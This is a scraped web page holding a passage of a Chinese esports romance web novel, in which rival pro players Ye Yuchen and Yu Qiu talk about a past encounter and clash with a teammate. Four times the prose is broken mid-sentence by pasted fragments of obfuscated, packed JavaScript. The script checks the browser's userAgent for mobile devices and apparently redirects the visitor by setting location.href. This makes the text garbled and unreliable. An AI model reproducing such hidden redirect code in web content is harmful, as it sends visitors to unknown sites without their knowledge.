l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081107|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜雨辰是真的被对方这个无赖行为气笑了。他尽量让自己语气保持平和,似笑非笑道,“我有东西落上面了,上去拿一下。” “什么东西?” “训练机。” 职业选手一般用来打游戏的手机都是官方赠予的训练机,而他们自己的手机大部分都只用来聊天刷视频,因为训练机的配置比自己的手机好,打起来手感更好一些。 郁秋立马就明白夜雨辰想干什么了,轻笑一声:“别这样,给我个上第一的机会嘛。” 夜雨辰明显不愿,冷笑道:“你说给就给?两年前也不见得你给我这样的机——” “求你了夜哥。” 郁秋突然将声音放软。 “……” 还没说完的话就这么被堵在了喉咙里。 “我靠打野你别聊天了,快来救我!!他们要越我塔了啊!!” 突然,一道陌生的声音在餐厅响起。 “打野哥你旁边真的是Night吗?可以让我和偶像对对话吗?” 又一道陌生稚嫩的声音紧接着响了起来。 “救命啊你们不要聊天了,先好好打游戏吧!!” 两道突兀的声音让坐在餐厅的两人听得清清楚楚。 夜雨辰的表情瞬间僵住了。 像意识到了什么,他垂眸,看向了发出声源的游戏界面。 恰巧,他看见了一根手指关闭游戏对局中的麦克风标识后留下的残影。 手指的主人完全没空抬头,但他已然察觉到了身旁传来的阴冷气息,讪讪道:“……忘记关游戏麦了,不好意思。” 夜雨辰一巴掌无力地拍在了自己额上。 所以说刚刚他们的对话都被游戏里的队友听到了? 过去在网络上的阴影瞬间涌入心头,他揉了揉自己的眉心,寒声道:“郁秋,如果又整出两年前那档子事我立马杀了你。” “额……应该不会,我惜命。”郁秋干咳两声,立马将话题转了回来,“这样吧,不论这把我是输是赢,你问我什么问题我都如实告诉你,所以你等我打完这把后再决定开不开游戏?” 夜雨辰没好气道:“谁知道你告诉我的是真的还是假的?你嘴里就没吐过几句实话。” “你不都能判断出来我说的是真是假吗?”郁秋不紧不慢道,“而且你一定要我下来陪你,难道不是因为想问那盒发烧贴?” 夜雨辰顿时语塞。 确实,这才是他叫郁秋下来的目的,毕竟这个话题不太适合在有外人的地方聊。 只听对方从容自若道:“那个人是我,但其余的问题等我打完这把我再告诉你,你就把这顿饭当作我给你当初的道谢,可以吗?” 看着对方手机屏里正在反野的操作,夜雨辰眼里闪过一丝复杂之色,最终选择答应了对方:“……行。” 答应后,他便没有再说任何一个字,直接打开了外卖袋。 在看到里面满满当当的吃的后,他的脸色闪过一抹不自然。 他随便抓了一个肉夹馍,靠在椅背上,边吃边看着对方手里的对局。 算了,第一名这个东西被超就被超吧,反正又不是他一个人的专属位置。 绝对绝对不是因为郁秋喊自己‘哥’和请自己吃饭才改变主意的。 14. 第 14 章 不过,夜雨辰还是实打实觉得郁秋的心态是在自己之上的。 要知道,GloryK的顶尖局里,任何细节都很容易决定一把游戏的胜败。就算玩家分神一秒钟不到一次,都有可能导致整把对局满盘皆输。 但郁秋一直都是心平气和地跟自己对话,语气里完全没有任何的焦躁不耐。 换位思考一下,如果有其他人这么打扰夜雨辰打游戏,他肯定会因为有人打断他思路而感到你烦躁。 心态可真好。 他边吃着东西,边看着那纤细修长的手指在屏幕上跳跃出的残影,心里跟着画面默默数着对方手中的东方镜不过三秒打出的数十个技能—— 2441A321A32……A? 突然,他的思路随着对方操作的停顿一起卡壳了。 画面中的英雄在原地站了半秒钟,愣愣地打了一个平A。 按道理来说,这个连招衔接的应该是三技能——东方镜将自己换位到团战场外成功完成脱战,让敌方眼睁睁地看着自家双c被切完后潇洒离去。 可郁秋就这么停下了。 就这么当着对面两三个人的面原地打了一个半秒钟的平A。 不过,他的反应很快,立马改变技能连招继续操作。 亡羊补牢,为时不晚。 但也无济于事,失误就是失误。 这短短半秒的呆滞足以让敌方瞬间反应过来并抓住这个破绽,立马甩上控制技能,并接着控bo成功完成了对东方镜的击杀。直接让他在这波团战中的地位从来无影去无踪的杀人刺客变成了垂死挣扎的咸鱼。 虽是一刹,足以致命。 夜雨辰看着这丑陋的操作,耸了耸眉,一言不发。 许是感到了正被别人盯着看自己的操作,郁秋脸上稍稍有点挂不住:“有点失误,小问题。” 夜雨辰大口地吃了一口手上的东西,毫不避讳道:“挺下饭的,谢谢你。” 这把游戏很快就结束了。 郁秋整把的对局操作,总的来说,两个字就可以概述——抽象。 看着他结算界面‘全国排名’下的数字‘1’,夜雨辰感到十分的不爽,不屑道:“躺赢狗。” 一整把操作都变形成啥样了居然还能赢,纯靠队友带飞。 郁秋放下手机,将一只手肘抵在桌子上,托着自己的侧脸漫不经心地看着对方,无奈笑道:“晋级赛难免有点紧张,失误才是人之常情。” “撒谎不打草稿。”夜雨辰冷哼一声,双手抱胸,“你打第一晋级赛的次数肯定比你打比赛的次数都多,你还会对这个紧张?” 在他的印象里,郁秋这几年坐在全国第一位置的次数不下百次,所以他打全国第一晋级赛的次数就算没有上千场也绝对不下五百场,毕竟只要是巅峰赛开启的时间,‘全国排名’就随时随刻可能发生变化。 如果加上他打的这些‘朋友号’,那这种‘全国第一晋级赛’的次数应该更是数不胜数,他早该对此习惯到麻木了,所以怎么可能还会紧张到操作变形? “……” 郁秋突然噤声。 他垂下眼眸,脸上的笑容也逐渐收了起来,眸中的光芒黯淡地波动了一下。半晌,他叹出一口气,重新抬眸看向面前的黑衣少年,并抛出了一个问题: “夜雨辰,你知道为什么这个游戏的全国前百排行榜上,职业选手的数目连一半都没有吗?” 职业选手,顾名思义就是这个游戏最顶尖的玩家,他们全部都是天赋异禀的青少年。 如果一个玩家想成为职业选手,那最基本的要求就是在这个有几千万名玩家的游戏里,巅峰赛的定榜要有全国前一百名,而且英雄池广泛。 所以对职业选手来说,这种排名成就简直就是是手到擒来,想有就有。而且,职业选手可是有几百号人的。 但全国前一百名的榜单上,职业选手的账号却没超过一半,甚至不到四分之一。 这突如其来的问题让夜雨辰一时间没反应过来。 他从没想过这个问题。 他沉思了一下,喃喃道:“GloryK里,巅峰赛和比赛的差别是——一个更看重个人实力,另一个则是在个人实力的基础上更看重团队配合。对职业选手来说,比赛是主要工作,没比赛和失业没什么区别,而且比赛也会给予选手个人荣誉,所以巅峰赛的名次对职业选手来说已经没那么重要了,所以并不会刻意去冲全国排名。” 他接着分析道:“而且每个战队的训练赛或比赛时间大部分都是在巅峰赛的时段,所以选手在比赛期间都会没时间打巅峰……” 他忽地一怔,话卡住了。 他刚刚跟郁秋说了什么? “打第一晋级赛的次数比打比赛的次数多?”、“选手一般都没时间打巅峰赛?” 他眼中闪过一抹慌乱,立马否认道:“等等,刚刚我不是那个意思,我不是说你上场比赛的次数很——” “我知道。” 郁秋十分平静地打断了他。看着夜雨辰慌乱的模样,他嘴角微不可察地向上微微勾起,看上去完全没有在乎这些似是暗讽他的言语,淡淡道,“我在Fire做替补的时候确实很空闲,没上场打过几把比赛。但我来JYY后一直是首发,上场的次数早就不少了,所以早就不介意这些话了,我想跟你说的不是这些。” 夜雨辰的嘴不由得紧紧抿成了一条线,眸色暗暗波动着。 真的吗? 真的不介意吗? 虽然这两年他真的很忙,但郁秋这两年在电竞圈掀起的浪花也不算小,所以自然而然地,他也了解到了对方的黑料话题。 JYY战队在圈子里热度最高的黑料便是‘替补打野Qiu’。 即使郁秋在一年前加入这个队后就一直是这个战队的首发,但大家还是更喜欢叫他‘替补’。 毕竟广大网友们对他的最深记忆点便是他在Fire战队时只配做沦陷的替补罢了。 沦陷是谁? 沦陷可是整个GloryK职业联赛里人气最高、实力最强、颜值也数一数二的男神野王! 他是许多粉丝的梦中情男,Qiu给沦陷做替补可是Qiu的荣幸! 本身自带了一些流量又如何,比得过沦陷吗? 而且游戏里的全国第一很了不起吗?职业选手里多少人上过全国第一,没有成绩的选手不照样比比皆是。 而且,虽然郁秋在一年前转会到了JYY战队,并且直接成为了这个战队的首发打野,但也是自从他的加入后,这个战队从‘冠军’直线掉入到了现在‘濒临掉入甲级联赛’的境地。 因此,Qiu在电竞圈的名声更大了。 除了‘沦陷替补’,他还被冠上了许多其他头衔——‘花瓶’、‘菜鸟’、‘垃圾’…… 而那些记得Qiu曾经在巅峰榜创下神话的部分玩家,许是觉得自己当初崇拜他十分丢脸,开始带头说一些其他话—— ‘以前打那么多第一几乎不直播,一上场打比赛就暴露自己菜的实力了,看来你运气真的是用尽了,全国第一全是运气呗,反正GloryK本来就是运气游戏,队友厉害分就上去了。’ ‘怪不得在Fire的时候一直坐替补位,该的!妈的老子以前还替你打抱不平,真想扇死自己。’ 其中还有一句话,让夜雨辰直接看笑了—— 【怪不得进Fire前一天要开直播锤自己菜而输掉游戏,原来是想先给所有人打个对你真实技术认知的预防针啊,但有用吗?】 郁秋那次直播不是为了澄清自己并没有‘故意输掉比赛’吗?怎么现在被别人理解成自己锤自己菜了? 好笑的是,JYY战队的官方几乎从未有人管过这些弹幕。于是他们更加肆无忌惮地发表各种言论。 鄙视Qiu、嘲讽Qiu、唾骂Qiu…… Qiu几乎一个人背下了JYY战队一直输的全部黑锅。 一想到这,夜雨辰的心里就有一种说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081108|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出口的酸涩感。 他明明讨厌郁秋,但并没有因为对方被这些人骂而感到一丝爽快,甚至从他的心底里传来了一种不可名状的绞痛感。 而且,他从没否认过郁秋的实力。 郁秋两年前在GloryK创下的纪录到现在可都是前无古人,后无来者的。 即使这两年游戏里新兴的天才源源不断,也没有任何一个超越过他的战绩,包括夜雨辰自己。 所以,每次他看到网络上的这些弹幕,他就会忍不住为Qiu发声,想说他的实力真的很强,战队比赛输是因为他们整个团队的战术问题。 他的话就像一瓶自以为是的净化器,试图净化这广阔的黑色海域,冲刷掉其污色。可结果总是轻而易举地被吞噬其颜色,或是直接被黑色排斥在外。 大部分人根本就不去听这件事的逻辑和道理,他们只会想着来凑热闹顺便宣泄自己的负面情绪,并把夜雨辰也讪笑一通。 …… 接受不了。 真的接受不了。 郁秋是当之无愧的强者,却在职业选手年龄最巅峰的时候,被‘替补’这两个字压了整整两年。 就像夜空中本该是最闪耀夺目的那颗新星,却被宇宙中无法看到的尘埃遮盖住了光芒,导致它最后只能挣扎似的闪烁自己那黯淡的星光。 而且GK圈的玩家是不停地更新换代的,不是所有人都会去关注电竞圈的。 所以现在,Night在其中的名声已经比秋大了,现在的秋在大部分人的眼里名声是这样的—— “秋?不认识。沦陷替补?哦,我知道他!” 所以,就算现在郁秋本人能如此平淡地说出自己当初是Fire战队的替补,但夜雨辰的内心依旧对此无法感到平静。 “你真的甘心吗?” 他突然低沉道。 “什么?” 郁秋一怔,一时间没有反应过来这句话是什么意思。 夜雨辰深吸一口气,抬起眸直视着郁秋,缓缓道:“打职业前,你明明是游戏里大家公认的最强者,在高分局叱咤风云,但进职业圈后,你却只获得了‘替补’的名头,他们像苍蝇一样一直在你身边嗡嗡直叫,甚至到现在,你以前的成就都被人……”他越往后说,就发觉这些话越发难以启齿。 以前万里无一的成就现在遭人唾弃、被人不屑一顾;曾经靠实力打出的名声,就因为走上了职业的道路,然后就一直沦陷在了某人的名字之下,直至今日。 曾经让对手闻风丧胆、让队友喜笑颜开的天才少年,如今就这么轻而易举地被众人否定了。 真的是……太残忍了。 郁秋,你真的甘心吗? 没想到自己居然会被问自己这个问题,郁秋眸光暗暗闪烁了一下,随即,他轻笑道:“这有什么?我不过就是运气不太好嘛,现在又不是没机会证明我自己的实力,电子竞技当然还是得靠实力说话的,未来我用实力封住那些人的嘴不就好了?” 他的语调漫不经心:“而且,别人爱怎么叫便怎么叫呗,在意他们的话多累啊?我要是活在他们的声音里,那我迟早会死在他们的言语中的。” 夜雨辰一怔。 这句话就像是一颗小石子落入他的心底,泛起层层涟漪。 “不过,”只听郁秋接着悠悠道,“我刚刚那个问题,其实是想让你意识到‘战队里没有比赛打的职业选手’这类人,因为他们的薪资一般是无法保证他们基本的日常生活,但既然现在聊到了我过去的这个话题……” 突然,他顿住了,脸上的笑容愈发加深。 夜雨辰看着面前的这人缓缓起身,俯身靠近了自己。 一股柠檬的清香味随即钻入鼻腔,脸颊也被对方未扎起的发丝轻轻抚过。 紧接着,就像选秀大会那天的一样,一道焉坏焉坏地、仅二人可听的声音再次从他的耳边响了起来—— “夜雨辰,你看上去很关心我啊?你现在是不是还喜欢着我呢?” 15. 第 15 章 听着耳边的挑逗声,夜雨辰心头一跳,浑身瞬间起满了鸡皮疙瘩。 “滚!” 他立马用力推开郁秋并拉开了距离,满脸嫌弃道:“有病吗?我们才认识多久,哪来的喜欢?” 郁秋眨了眨眼,不解道:“那你以前不是还对我表白了吗?” 夜雨辰白了他一眼:“那一听不就是个玩笑话,你不会当真了吧?我们两年前认识吗?” “认识啊。” 郁秋不假思索地点了点头。 夜雨辰:“……” 他的脑海里顿时闪过两年前的比赛商场上,黑色背包旁莫名出现的那盒退烧贴以及那把还未干透的灰色雨伞的画面,不禁扶额道: “最多就是你认识我,我才不认识你,我给你伞的时候连你脸都没看到。” 郁秋坐回原位,随手从外卖带里拿出一个吃的,翘起二郎腿,理所当然道:“那也是认识,不然你怎么认出我的?” “……” 夜雨辰实在是无言以对了。 他忍住翻白眼的冲动,似笑非笑道,“首先,但凡是个正常人,淋雨着凉都只会买感冒药或退烧药,而不是直接买盒退烧贴;其次,我从没说过那个人是你,我最多只是怀疑,毕竟那次是在深圳,这次是在上海,而且中间还隔了两年,我都还没确定那人是不是你你就不打自招了。” 他可从没主动提起过‘退烧贴’这三个字,这是郁秋刚刚打游戏的时候直接主动承认两年前的那个人就是他自己的。 “嗯?”郁秋小小回忆了一下自己打游戏的时候说了什么,发现好像确实是自己先主动提及了这件事,于是随意地耸了耸肩,“那好吧。” “最后,郁秋,”夜雨辰看着对方一直怡然自得的模样,脑海中闪过一个场景,眼神不由得闪过一个场景,道, “假如那个人真的是你,你应该不会想我在其他人面前直接问出这个问题的。” “这倒是。” 郁秋毫不犹豫地承认了这点。他托着一边侧脸腮看着对方,漫不经心道,“那你不好奇为什么我送你发烧贴吗?” 不好奇。 夜雨辰冷冷地瞥了他一眼,口是心非道:“为什么?” “小时候淋雨发烧,吃了个退烧药,结果过敏住院了。” “?” 牛逼。 郁秋:“那时候症状挺严重的,所以从那以后就不太敢吃退烧药了,我怕你也过敏……” “那我可真是谢谢你了。”夜雨辰翻了个白眼便站起身,准备离开此处,“下次我会请回你的,今天谢谢你。” “就走了?”郁秋一愣,低头看了眼桌上几乎没怎么减少的吃的,拿起一杯奶茶问道,“你好像没怎么吃?够吗?喝的要不要拿上去?” 夜雨辰脚步一顿,脸上闪过一抹奇怪的表情又被迅速掩盖了下去。他语速极快道:“……我饱了,晚上也不喝奶茶,谢谢,上楼了。” 一说完,夜雨辰便看似淡定地快步上了楼。 看着迅速没了踪影的少年,郁秋眨了眨眼,默默地往嘴里塞了个吃的。 他垂眸看着桌上摆着的几乎没怎么动的食物,内心叹了口气。 吃饱了?那怎么还会剩这么多东西? 真的饱了吗? * 夜雨辰快步到三楼,在得知开完会后已经可以回到自己房间,便带着自己的设备回到了二楼。 虽然他的面容依旧像平静如镜的湖泊一样,毫无波澜,但水面之下早已暗潮涌动。 太可怕了。 这个郁秋,简直是太可怕了。 他一屁股坐在自己的床上,一打开手机便恰好看到了‘Whisper Tree’弹出的回复消息。 【有耳:……】 【有耳:你说的是之前把你恶心吐了的那个人吗?】 夜雨辰立马给出了回复。 【Rain:对,就是他,他太可怕了。】 【有耳:怎么,又被他耍了?】① 【Rain:不是,刚刚和他聊了会天,信息量有点大,我现在脑子有点乱。】 【有耳:怎么说?】 他捋了捋自己刚刚获得的全部信息,迅速地简述了一句话发过去。 【Rain:两年前我去其他城市和朋友打比赛的时候给了陌生人一把伞,结果刚刚才知道那个人居然是郁秋!】 【有耳:你都把伞给对方了,你还不知道他长什么样吗?你是怎么把伞给他的?】 怎么把伞给郁秋的吗? 看着这个问题,夜雨辰并没有第一时间回答。 他的思绪不知不觉随之飘回了过去。 “啪嗒、啪嗒、啪嗒……” 手指一下、一下地敲击着屏幕。 耳边逐渐响起淅淅沥沥的雨声,愈来愈大。 一段平平无奇的回忆、一件微不足道的小事逐渐在他的脑海中泛起层层涟漪。 那天,雨来得十分匆忙。 就像是天空突然裂开了一道口子似的,春雨滂沱而下。雨水不断地敲击在水泥地上、打在每户人家的空调机上,敲响声源源不断,让人听了总觉得像是什么嘲讽的笑声,十分聒噪,让人烦心。 夜雨辰独自在略显破旧的小巷里,站在贩卖机前,只想着在比赛前赶紧买一瓶水喝。 在他弯腰拿起饮料的那一刻,他才注意到,机器旁正蹲着一个将黑色外套耷在头顶,疑似一团人的东西。 他那时候被这不起眼的玩意吓了一跳,下意识地问候了它一声。 但这东西察觉到外界的动静后,除了微微动了一下证明自己是个人且还活着后,就没有给出任何其他的反应,甚至连头都没抬一下。 黑色外套几乎盖住了这个人的全身,袖子掉落在地上,沾染着泥水,所以夜雨辰无法知道这究竟是个什么样的人。 男的女的?老的少的?高的矮的? 不知道,完全无法知道。 他唯一知道的就是,这人看上去特别地……凄惨沧桑? 而且,这个人所蹲的这个角落,能避雨的地方很小。 如果他是站着的,那还不至于淋到雨,但他一蹲下来,那些雨水就径直地砸在了他盖着外套的头上。 夜雨辰注意到他的时候,雨水已经完全打湿了这人的半件外套。 其实说不定外套下的发丝早已被雨水浸湿,而这人也察觉到了自己避雨方式是有问题的。 可他就是一动也不动地蹲在那,任由自己被雨水敲打,好似完全不在乎自己这样的行为会造成什么样的后果。 看着这团头也不想抬的人的狼狈模样,夜雨辰也不知道为什么,许是觉得这样子淋雨不太好,就鬼迷心窍地直接将自己的伞撑在了那人身上,确保对方完全不再会淋到雨,且没人能看到伞后的人的模样后,他立刻就去挤阿星的伞了。 …… 所以刚刚,夜雨辰表面虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081109|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静,但内心深处却写满了震惊。 那个人居然是郁秋。 这个看上去如此爱笑且轻佻的人,居然会蹲在那个不起眼的小角落,以那么难堪的模样避雨。 斟酌了一下,夜雨辰给出了自己的答案。 【Rain:反正就这么给了呗。这不是重点,这最多就是感叹一下这个世界真的很小,巧合真的很多。】 他立马将话题转了回来。 【Rain:这还不是最可怕的,最可怕的是,他刚刚请我吃饭了。】 【有耳:哦?报答感谢你吗?】 报答?感谢? 看到这两个词,夜雨辰就气不打一处来。 他瞬间想起刚刚一打开外卖盒的时候,差点没直接晕厥过去的感觉。 【Rain:报答?报复还差不多!他点了六个菜,除了一个肉夹馍能吃,其他没一个东西能吃好吗!包括喝的也是!】 【有耳:……】 【有耳:额,不至于吧?】 【Rain:他是真的克我吧?西红柿、抹茶、辣椒……他不知道我的忌口我忍了,但他是怎么做到点的菜几乎全是我讨厌吃的啊??】 【有耳:…………】 【有耳:那很巧了。】 确实,巧得让他觉得都不是巧合了。 夜雨辰丢开手机,有点疲惫地躺在了床上。房间刺眼的白光打在脸上,让他不得不用一只手遮住自己的双眼。 刚刚接收到的所有的信息合在一起,让他的心情与其一样,交杂如麻。 太刚好了,一切真的都太刚好了。 两年前,刚好自己递伞的那个人是郁秋,也刚好他一直阻碍自己上‘全国第一’,还刚好他们俩最后一起在网络上传出了cp话题。 两年后,刚好他进了郁秋所在的战队,刚好他们俩一个房间,刚好他请自己吃饭点的全是自己讨厌、从不吃的东西…… 想到这,他不禁咬紧牙关。 突然发现,他这两年印象比较深刻的事情,怎么好像都有郁秋的身影呢? 真是阴魂不散。 “嗡嗡!” 手机发出了一声震动。 他随意地在被褥上摸索着被丢到一旁的手机,抬起来瞥了一眼。 ‘Whisper Tree’又发来了一条消息 【有耳:话说,如果我不是我喜欢的人的类型该怎么办,你有没有什么建议?】 “……” 对于这种问题,恋爱细胞和经验全为0的夜雨辰完全不知道该怎么回答。 何况他现在心情十分复杂,完全不想动脑。 于是他随意地回复了一句。 【Rain:那就换一个人喜欢。】 【有耳:不行,我做不到。】 看着对方如此认真的秒回,夜雨辰失笑一声。 怪不得很多人会说爱情容易让人失智,有耳居然又下意识地把他这种话当了真。 【Rain:开玩笑的啦,你怎么每次都能上当?你好有意思。】 【有耳:……】 【有耳:我恨你。】 看到这三个字,夜雨辰再也忍不住,像成功做完坏时后的调皮小子似的,好笑地把手机丢回床上。 不过…… 笑完后,他慢慢冷静了下来。 心里逐渐浮起了一丝奇怪的感觉。 为什么这段聊天,好像有点熟悉呢? 16. 第 16 章 基地一楼,餐厅。 看着手机里弹出的消息,郁秋满脸苦笑地打开了备忘录。 “咔哒!” 突然,大门口响起了一道开锁声。 察觉到动静,郁秋眼神一凝,迅速收起脸上的表情。 有人回来了。 一个身材微胖的男生一进门,就注意到了餐厅里独自一人吃着饭的郁秋。 他看着餐厅里孤单的身影以及桌上看似放了很久已经变凉的外卖,轻浮地吹了声口哨:“哟,替补哥,这么晚还没吃饭呢?一个人可怪寂寞的。” 郁秋随意瞥了一眼进来的人,就将注意力转移回手机上,冷漠道:“确实,不如约会哥天天有人陪,连工作都不上心了。” “上心?怎么个不上心?”小九嗤笑一声,“我最近赚得还挺盆满钵满的呢,怎么不上心,你说说?” 闻言,郁秋微微蹙眉,但依旧头也没抬一下:“别做自毁前程的事,邱子幸有些事不是你能模仿的来的,你没这个资格。” 听到这句话,小九明显不乐意了:“呸,你就是没人陪没人绕着你转纯嫉妒我,和你这种人懒得解释。” 说完,便冷哼一声,径直走过餐厅准备上楼。 “石简益。” 倏地,他被叫住大名,脚下一顿。 他皱起眉,转头看向了那个仍坐在餐厅、头也不抬的看着手机的人。 那人的语气里毫无情绪波澜,“提醒下你,管好自己包里的钱,这个老板可不会再破例给你那么多工资了。” 小九眼神一凝,道:“你想表达什么?你又是以什么身份来提醒我的?” “没什么,只是想提醒你适度消费。”郁秋双眼微眯,放下手机,“至于我是什么身份提醒你的嘛……” 他交叉起双手,懒懒地将下巴抵在其上,脸上挂上一抹十分和善的笑容看着对方,“那当然是关心队员的好队长啦,你不是挺喜欢队长的关心吗?” 一听到‘队长’这个词是从对方嘴里蹦出来的,小九顿时就勃然大怒: “去你妈的队长!整个战队都没人和你关系好,你用了什么手段混上来的你自己有点数!” 骂完后,他冷静下来了些许,冷声道:“你以为你是邱子幸?你算什么东西?而且他跟我说了,就凭JYY现在这个境地,你们根本没办法把One叫回来打射手,所以说现在战队的射手只有我一个人在……” 说到这,他脸上扯出了一个自信的笑容:“所以,如果我真的出了什么事,俱乐部不还是得强行保我?不然你们比赛连五个人都凑不起来,凭什么打?让零落上吗?” 丢下这句话后,他便头也不回地上楼了。 郁秋看着对方信誓旦旦地模样,叹了口气:“你认人家,可人家好像不认你啊,不然为什么不带你一起走呢?” 小九的身影在楼梯间一顿,随即,便加快了上楼的步伐。 不过郁秋懒得去在意这人的反应,而是继续忙回刚刚要做的事——给备忘录添加新得到的信息。 他一边对着外卖单上的菜名,一边将其复制进了备忘录,心里五味杂陈。 得到这些消息真不知道该开心还是难受。 他才添加完这些东西,楼上又传出来了一道新的动静—— “……来,你再来啊!你越急不就说明我说得越对吗?!” 听着这句话,郁秋无语。 这才刚上楼,怎么就又骂人了? 他早就习惯了小九的暴脾气,便下意识地当作他又在那无故发火懒得去理。 不过这次是和谁在吵呢? 突然,郁秋一愣。 这声音明显是从二楼传出来的,而现在,战队的其他人都在三楼,不会是…… 答案刚浮现到自己脑海的时候,走廊里又传来了一道小九的嗤笑声—— “我不就开个玩笑嘛,你怎么就当真了呢?身为职业动手打人会有什么后果你不知道?” 听到这里,他脸色陡然一变,立马跑上了楼。 一到二楼,他就看到了半边脸似乎比刚刚肿的小九,和一脸平静、但眉宇间写满‘无辜’两个大字的夜雨辰。 而楼梯口的另一边,正站着比他提早一点到的、同样是闻声赶来现场的零落。 “什么动手?”夜雨辰歪头看着身前的胖子,眼里满是困惑和迷茫,“你在说什么?我怎么听不懂你的话?” 小九一愣,随即咬紧牙关,硬生生从里面挤出几个字:“你他妈……” “你们两个什么情况?” 零落推了下鼻梁上的眼镜,打断了小九还未说出口的话。 小九看向零落,指着夜雨辰:“他刚刚……” “我一出房间就刚好撞上了小九,想着是第一次见面,就和他简单的打了个招呼。”夜雨辰打断小九的话,干脆利落地回答了零落的问题。 “他的招呼就是他妈的直接给了我一拳!” 小九立马把自己的脸凑到了零落面前,指着自己的脸颊道,“他刚打的,就这里,肯定有印子!” 零落瞥了一眼小九脸上隐隐浮现的大圆红印,漫不经心地看向夜雨辰:“真的?” 面对教练满是怀疑的眼神,夜雨辰依旧面不改色。 毫无情绪的眼神对着质疑的目光,淡淡道:“我没有,我只是提了一嘴前天我们巅峰赛撞车做队友,就是他坑我的那把,没忍住骂他了一句菜,然后他就突然大吼把你们俩引了过来。” 面对着这个面不红耳不赤且如此平静地说这话的少年,零落问道:“那他脸上的印子是什么情况?” “不知道,我没注意过。”夜雨辰摇了摇头,“我和他才刚认识,我也不至于因为一把游戏到和他动手的地步,心态没那么差,我不知道是谁打的他,兴许是他回来之前就被打了呢?” 看着这个一脸平静说话的黑衣青年,小九脸上写满了震骇:“你他妈在说什么?不是你打的我还有谁能打我?” “我怎么知道?你问打你的那个人去啊。” 夜雨辰皱起眉头,双手抱胸,满脸疑惑道,“你为什么从刚刚开始就一直诬陷我动手打你了?起码你先给我一个证据和动机吧,我为什么要无缘无故打你?” “我脸上的印子就是证据!至于动机,你,你的动机是……”说到这,小九变得支支吾吾起来。 他偷偷瞥了一眼来到现场后就一直倚在墙边抱胸看戏的郁秋,又立马把视线收了回来。 夜雨辰似是没察觉到他的视线,似笑非笑地看着他:“你说啊。” “郁秋。”对着空口争辩却无法给出证据的二人,零落最终决定从刚刚在一楼的人那儿问出情况,“你刚刚在一楼的时候见过小九了吧?” 小九眼里闪过一抹慌乱:“等等零落,你问他干嘛?” “嗯?”郁秋抬起眼眸,抱着一副看热闹不嫌事大的模样道,“见到了。” 零落直接无视了小九的话,问道:“他刚刚脸上有印子吗?” 郁秋失笑一声:“我关注这个干嘛?看他我都嫌眼脏。” 零落:“……” 是这家伙能说出来的话。 小九对郁秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081110|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说这种话也像习惯了一样,充耳不闻。 他直接对零落不满道:“他和夜雨辰是一伙的,你问他他肯定帮夜雨辰说话。” 零落揉了揉眉心,似是心累的吐出一口气,道:“那你说,不问他怎么办?你俩各执一词又空口无凭,这里也没监控。那要不就各退一步,当什么事情都没发生?你们都是队友,搞僵关系也不好。” 小九下意识开口:“不可……” “我接受。” 夜雨辰立马同意了这个解决方案,然后瞥向小九,眼里寒光四射,冷声道,“不过,事不过三。” “那就这样吧。” 零落立马敲下结果,不等小九再次作出回应,就立马把对方拽进了他们的房间。 夜雨辰也至此就罢,回到自己的房间。 “这就结束了?” 看着就这么散场的几个人,郁秋似是还没看够戏一样,在原地愣了片刻,半晌,他才遗憾地跟着夜雨辰回到了自己房间。 一关上门,他便悠悠道:“你有什么要说的吗?” 对方冷冷地瞥了一眼他,直接走进卫生间并关上了门。 郁秋走上前,懒懒地靠在卫生间的门板上,手指又开始不自觉地玩绕着自己的头发。 他听着里面水龙头的声音,漫不经心道:“面不改色的撒谎啊……你是真敢动手,青训营和合同应该都说过职业选手不许打架吧?我刚刚要是直接说实话了你该怎么办?” 虽然他确实看小九都嫌眼脏,但这么明显的东西他也不是注意不到。 门后传出来一道毫不留情地冷喝声:“那你就别帮我圆谎,显得像我求你了似的,大不了吃个罚款禁赛啥的我都能抗,那一拳是他该的,你们要是来得晚一点我再给他一脚。” 听着水声停了下来,郁秋好笑道:“我可没帮你圆,实话实说罢了,战队里谁不知道我和小九,还有那个邱子幸关系不好。不过我现在倒是更好奇你用了几成力?别人脸都肿了” “关你屁事。” 这句声音似仅隔着门板的距离在耳边响起,郁秋下意识察觉不对,但他还没来得及作出反应,下一秒,背后陡然一空,整个身体向后倾去。 不过他反应极快,脚向后一踩,立马稳住了平衡。 